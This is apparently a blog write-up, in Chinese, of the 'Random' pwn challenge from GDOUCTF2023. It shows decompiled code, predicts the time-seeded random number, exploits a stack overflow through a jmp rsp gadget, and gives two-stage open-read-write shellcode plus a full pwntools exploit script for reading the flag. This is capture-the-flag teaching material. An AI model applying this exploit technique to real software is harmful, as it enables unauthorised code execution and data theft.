GDOUCTF2023

文章发布时间:

最后更新时间:

文章总字数:
1.1k

预计阅读时间:
5 分钟

这次的pwn出的比较简单 也就最后一题值得拿来说一说 但是其本质也就是非常简单的手写shellcode

Random

image-20230417221710882

保沙盒护基本全关了 但是开启了沙盒 ida看一下伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5; // [rsp+0h] [rbp-10h] BYREF
int v6; // [rsp+4h] [rbp-Ch]
int v7; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v7 = 100;
sandbox();
v3 = time(0LL);
srand(v3);
for ( i = 0; i < v7; ++i )
{
v6 = rand() % 50;
puts("please input a guess num:");
if ( (unsigned int)__isoc99_scanf("%d", &v5) == -1 )
exit(0);
if ( getchar() != 10 )
exit(1);
if ( v6 == v5 )
{
puts("good guys");
vulnerable();
}
else
{
puts("no,no,no");
}
}
return 0;
}

考察了一个伪随机数 用时间当种子 对的话就进入vulnerable函数 伪随机数考烂了都 这里就不讲了

直接来看vulnerable函数

1
2
3
4
5
6
7
ssize_t vulnerable()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("your door");
return read(0, buf, 0x40uLL);
}

当纯的一个栈溢出漏洞 不过观察了函数表 还发现了个haha函数 里面有一个jmp rsp指令

1
2
3
4
5
6
.text:000000000040094A haha            proc near
.text:000000000040094A ; __unwind {
.text:000000000040094A push rbp
.text:000000000040094B mov rbp, rsp
.text:000000000040094E jmp rsp
.text:000000000040094E haha endp

那么很明显了 没有开启NX保护机制 再加上有jmp rsp 就可以实现手写shellcode的一次执行

jmp指令实际上就是将rip指针跳转到rsp指针指向的地址

我们的jmp rsp指令覆盖的是ret addr shellcode是在retaddr的下一个字长处 此时ret指令弹出jmp rsp到rip寄存器中 rsp指针+8

也就指向了shellcode的起始地址 从而jmp rsp将rip寄存器指向shellcode的起始地址

接着就是如何构造shellcode了 既然没有开启NX保护 又开启了沙盒 想直接获取shell显然是行不通了

只能通过orw的办法 这里有两种实现的逻辑 一种是采用shellcode的orw 一种是构造rop链的orw

不过显然后者的利用更加麻烦 需要更多的步骤 于是这里采用前者

对于第二次shellcode要写在哪里 这里遇到了个小问题 在比赛的时候采用的是ubuntu18的机子 libc文件采用的是本地的libc

vmmap查看到的内存空间中 0x601000到0x602000这一个页是有rwx权限的 可以供我们存放第二次shellcode

image-20230417223628826

不过编写这次的wp的时候采用的是ubuntu20的机子 哪怕我把libc更换成了ubuntu18同款 但是0x601000到0x602000却没有可执行权限

image-20230417223736082

也是非常神奇 既然这样就采用原本做题的时候废弃的一个解法 在栈上写第二次shellcode 比赛的时候第一次的exp也是这种做法 不过最后因为远程和本地的libc差异导致偏移不同 最后也没有打通 不过本地复现重要的是掌握这题的知识点 所以倒也无所谓

1
2
3
4
5
6
7
shellcode = """
xor eax,eax
shl edx,12
syscall
sub rsp,0x30
jmp rsp
"""

首先设置异或清空eax寄存器 随后利用shl逻辑左移 扩大edx的值 随后syscall 调用read函数

此时read函数写入数据的地址和rsp指针指向的地址 我们来查看一下

image-20230417224047323

可以看到差值是0x30 如果我们在执行完read以后 把rsp指针往低地址处挪动 随后再来一句jmp rsp 就可以执行第二次shellcode 第二次shellcode也就是为了达到orw效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')

剩下的就没什么好说了

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("node.yuzhian.com.cn",32980)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
#libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

seed = libc.time(0)
libc.srand(seed)
io.recvuntil("please input a guess num:")
buf = libc.rand()%50
io.sendline(str(buf))
io.recvuntil("your door")
shellcode = """
xor eax,eax
shl edx,12
syscall
sub rsp,0x30
jmp rsp
"""
jmp_rsp = 0x000000000040094e
payload = cyclic(0x28)+p64(jmp_rsp)+asm(shellcode)
gdb.attach(io,'b *0x400949')
pause(0)
io.send(payload)
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
io.send(shellcode)
pause()